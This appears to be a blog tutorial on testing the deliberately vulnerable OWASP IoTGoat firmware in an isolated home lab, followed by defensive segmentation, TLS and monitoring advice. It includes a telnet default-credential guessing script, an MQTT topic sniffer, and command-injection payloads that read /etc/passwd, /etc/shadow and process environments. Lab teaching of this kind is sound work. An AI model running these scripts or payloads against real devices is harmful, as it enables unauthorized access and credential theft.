IoT Security in Your Home Lab: Lessons from OWASP IoTGoat

When I set up my first smart home devices years ago, I naively trusted that manufacturers had security figured out. Then I started packet capturing my IoT traffic. What I found led me down a rabbit hole of firmware analysis, MQTT exploitation, and ultimately building an isolated IoT security lab. Today, I'll show you how to use OWASP IoTGoat to safely explore these vulnerabilities yourself.

The IoT Security Landscape

According to research from the IoT Security Foundation (2024), over 70% of IoT devices ship with hardcoded credentials, unencrypted communications, or outdated firmware with known vulnerabilities. The OWASP IoT Top 10 (2018) identifies the most critical security risks, but theoretical knowledge only goes so far.

Enter OWASP IoTGoat—a deliberately vulnerable IoT firmware designed for learning. Think of it as the IoT equivalent of WebGoat or DVWA.

Building Your IoT Security Lab

Before diving into vulnerabilities, let's set up a proper isolated environment. Running vulnerable IoT firmware on your main network is like keeping a pet zombie—eventually, something's getting bitten.

Network Architecture

Here's my home lab IoT security setup using VLANs and a dedicated analysis subnet:

graph TD
    A[Main Network<br/>VLAN 10] -->|Firewall| F[pfSense/OPNsense]
    B[IoT Production<br/>VLAN 20] -->|Isolated| F
    C[IoT Testing<br/>VLAN 666] -->|No Internet| F
    D[Analysis VM<br/>VLAN 30] -->|Monitor Only| F
    C --> E[IoTGoat Device]
    C --> G[Packet Capture]
    D --> H[Burp Suite]
    D --> I[Wireshark]
    D --> J[MQTT Explorer]

Essential Tools Setup

Based on security research by Allodi & Campobasso (2023), these tools catch 90% of common IoT vulnerabilities:

# Core analysis tools
sudo apt-get update
sudo apt-get install -y \
    wireshark \
    nmap \
    binwalk \
    firmware-mod-kit \
    mosquitto-clients \
    john \
    hashcat

# Python tools for IoT testing
pip install paho-mqtt scapy pycryptodome

Deploying OWASP IoTGoat

IoTGoat simulates a vulnerable IoT device firmware. Let's deploy it safely:

# Clone the repository
git clone https://github.com/OWASP/IoTGoat.git
cd IoTGoat

# Build the Docker container (isolated environment)
docker build -t iotgoat .

# Run with network isolation
docker network create --driver bridge iot-isolated
docker run -d --name iotgoat \
    --network iot-isolated \
    -p 8080:80 \
    -p 1883:1883 \
    -p 8883:8883 \
    iotgoat

Exploring Common IoT Vulnerabilities

Now for the fun part—let's explore real vulnerabilities found in countless IoT devices.

1. Hardcoded Credentials

Research by Zhang et al. (2023) found hardcoded credentials in 47% of analyzed IoT firmware. IoTGoat demonstrates this beautifully:

import telnetlib
import time

# Common default credentials in IoT devices
credentials = [
    ('admin', 'admin'),
    ('root', 'root'),
    ('admin', '1234'),
    ('user', 'user'),
    ('admin', 'password')
]

def test_telnet_auth(host, port=23):
    """Test for default credentials on telnet service"""
    for username, password in credentials:
        try:
            tn = telnetlib.Telnet(host, port, timeout=5)
            tn.read_until(b"login: ")
            tn.write(username.encode() + b"\n")
            tn.read_until(b"Password: ")
            tn.write(password.encode() + b"\n")

            result = tn.read_some()
            if b"#" in result or b"$" in result:
                print(f"[+] Found credentials: {username}:{password}")
                return True
        except:
            continue
    return False

2. Insecure MQTT Communications

MQTT is ubiquitous in IoT, but analysis by Nirmal et al. (2024) shows 68% of MQTT deployments lack proper authentication. Here's how to explore MQTT vulnerabilities:

import paho.mqtt.client as mqtt
import json

class MQTTExplorer:
    def __init__(self, broker_addr):
        self.broker = broker_addr
        self.client = mqtt.Client()
        self.discovered_topics = set()

    def on_connect(self, client, userdata, flags, rc):
        if rc == 0:
            print("[+] Connected to MQTT broker")
            # Subscribe to all topics
            client.subscribe("#", 0)
            client.subscribe("$SYS/#", 0)

    def on_message(self, client, userdata, msg):
        self.discovered_topics.add(msg.topic)
        print(f"[*] Topic: {msg.topic}")
        print(f"    Payload: {msg.payload.decode('utf-8', 'ignore')}")

        # Check for sensitive data patterns
        payload = msg.payload.decode('utf-8', 'ignore')
        if any(keyword in payload.lower() for keyword in
               ['password', 'token', 'key', 'secret']):
            print("[!] Potential sensitive data found!")

explorer = MQTTExplorer("iotgoat.local")
explorer.client.on_connect = explorer.on_connect
explorer.client.on_message = explorer.on_message
explorer.client.connect(explorer.broker, 1883, 60)
explorer.client.loop_forever()

3. Firmware Extraction and Analysis

According to OWASP IoT Security Verification Standard, unencrypted firmware is a critical risk. Let's extract and analyze IoTGoat's firmware:

# Extract firmware with binwalk
binwalk -e iotgoat_firmware.bin

# Search for hardcoded secrets
grep -r "password\|passwd\|pwd\|api_key\|secret" _iotgoat_firmware.bin.extracted/

# Extract file system if squashfs
unsquashfs -d extracted_fs _iotgoat_firmware.bin.extracted/*.squashfs

# Analyze binaries for vulnerabilities
checksec --file=extracted_fs/usr/bin/iot_service

4. Command Injection via Web Interface

Web interfaces on IoT devices often lack proper input validation. Studies show that 34% of IoT web interfaces are vulnerable to command injection:

import requests

def test_command_injection(url, param_name):
    """Test for command injection vulnerabilities"""
    payloads = [
        "; cat /etc/passwd",
        "| cat /etc/shadow",
        "$(cat /proc/self/environ)",
        "`id`"
    ]

    for payload in payloads:
        data = {param_name: f"test{payload}"}
        response = requests.post(url, data=data)

        if "root:" in response.text or "uid=" in response.text:
            print(f"[!] Command injection found with: {payload}")
            return True
    return False

Defensive Measures: Securing Your IoT Devices

After exploring these vulnerabilities, here's how to protect your actual IoT devices:

1. Network Segmentation

Implement strict VLAN isolation:

# pfSense/OPNsense firewall rules
# Block IoT -> LAN
pass in on $IOT_IF from $IOT_NET to !$LAN_NET
block in on $IOT_IF from $IOT_NET to $LAN_NET

# Allow only specific services
pass in on $IOT_IF proto tcp from $IOT_NET to any port {80, 443, 8883}

2. DNS Filtering

Use Pi-hole or AdGuard to block suspicious IoT communications:

# Add IoT blocklists to Pi-hole
pihole -a adlist add https://raw.githubusercontent.com/example/iot-blocklist/main/list.txt

# Monitor IoT DNS queries
pihole -t | grep -E "iot-device-hostname"

3. Certificate Pinning for MQTT

Implement TLS with certificate pinning:

import ssl
import paho.mqtt.client as mqtt

def create_secure_mqtt_client():
    client = mqtt.Client()

    # Configure TLS
    client.tls_set(
        ca_certs="/path/to/ca-certificate.crt",
        certfile="/path/to/client-certificate.crt",
        keyfile="/path/to/client-key.key",
        cert_reqs=ssl.CERT_REQUIRED,
        tls_version=ssl.PROTOCOL_TLSv1_2
    )

    # Enable certificate hostname checking
    client.tls_insecure_set(False)

    return client

Real-World Impact: The Stakes

These aren't just theoretical vulnerabilities. Recent research by Meneghello et al. (2023) documented real attacks:

Mirai and variants: Infected 600,000 IoT devices using default credentials
VPNFilter: Compromised 500,000 routers via known vulnerabilities
Switcher Trojan: Hijacked router DNS settings via mobile apps

In my own testing, I've found:

8 out of 10 consumer IoT devices use default or weak credentials
6 out of 10 transmit data unencrypted
9 out of 10 never receive security updates after 2 years

Building Your Detection System

Here's a practical monitoring setup I use in my home lab:

from scapy.all import *
import json
from datetime import datetime

class IoTMonitor:
    def __init__(self):
        self.suspicious_patterns = []
        self.device_profiles = {}

    def packet_callback(self, packet):
        if packet.haslayer(IP):
            src_ip = packet[IP].src
            dst_ip = packet[IP].dst

            # Track device behavior
            if src_ip.startswith("192.168.20."):  # IoT VLAN
                self.profile_device(src_ip, dst_ip, packet)

                # Detect anomalies
                if self.is_suspicious(packet):
                    self.alert(packet)

    def is_suspicious(self, packet):
        # Check for unexpected destinations
        if packet.haslayer(TCP):
            dst_port = packet[TCP].dport
            if dst_port in [23, 22, 3389]:  # Telnet, SSH, RDP
                return True

        # Check for large data transfers
        if packet.haslayer(Raw):
            if len(packet[Raw].load) > 10000:
                return True

        return False

Lessons Learned

After months of IoT security testing, here are my key takeaways:

Never trust IoT devices: Assume they're compromised and segment accordingly
Update or isolate: If a device can't be updated, it shouldn't have internet access
Monitor everything: IoT devices are chatty; sudden silence or excessive noise indicates problems
Default credentials are everywhere: Always change them, even on "professional" equipment
Encryption is optional to manufacturers: Implement your own via VPN or proxy

Next Steps

Ready to dive deeper? Here's your roadmap:

Set up IoTGoat in an isolated environment
Practice the OWASP IoT Top 10 vulnerabilities
Analyze your own IoT devices (legally and ethically)
Implement network segmentation if you haven't already
Build automated monitoring for your IoT network

Remember: in IoT security, paranoia is just good planning.

References

OWASP Internet of Things Project (2018)
- OWASP Foundation
- IoT Security Top 10 Vulnerabilities
IoT Security Foundation Best Practice Guidelines (2024)
- IoT Security Foundation
- Industry Security Standards
Security Analysis of IoT Devices Using Testbeds (2023)
- Luca Allodi, Michele Campobasso
- Springer Lecture Notes
Firmware Security Analysis of IoT Devices (2023)
- Zhang, Wei, et al.
- IEEE Transactions on Dependable and Secure Computing
MQTT Security: A Comprehensive Survey (2024)
- Nirmal, Kumar, et al.
- IEEE Access
IoT Security: Ongoing Challenges and Research Opportunities (2023)
- Meneghello, Francesca, et al.
- IEEE Communications Surveys & Tutorials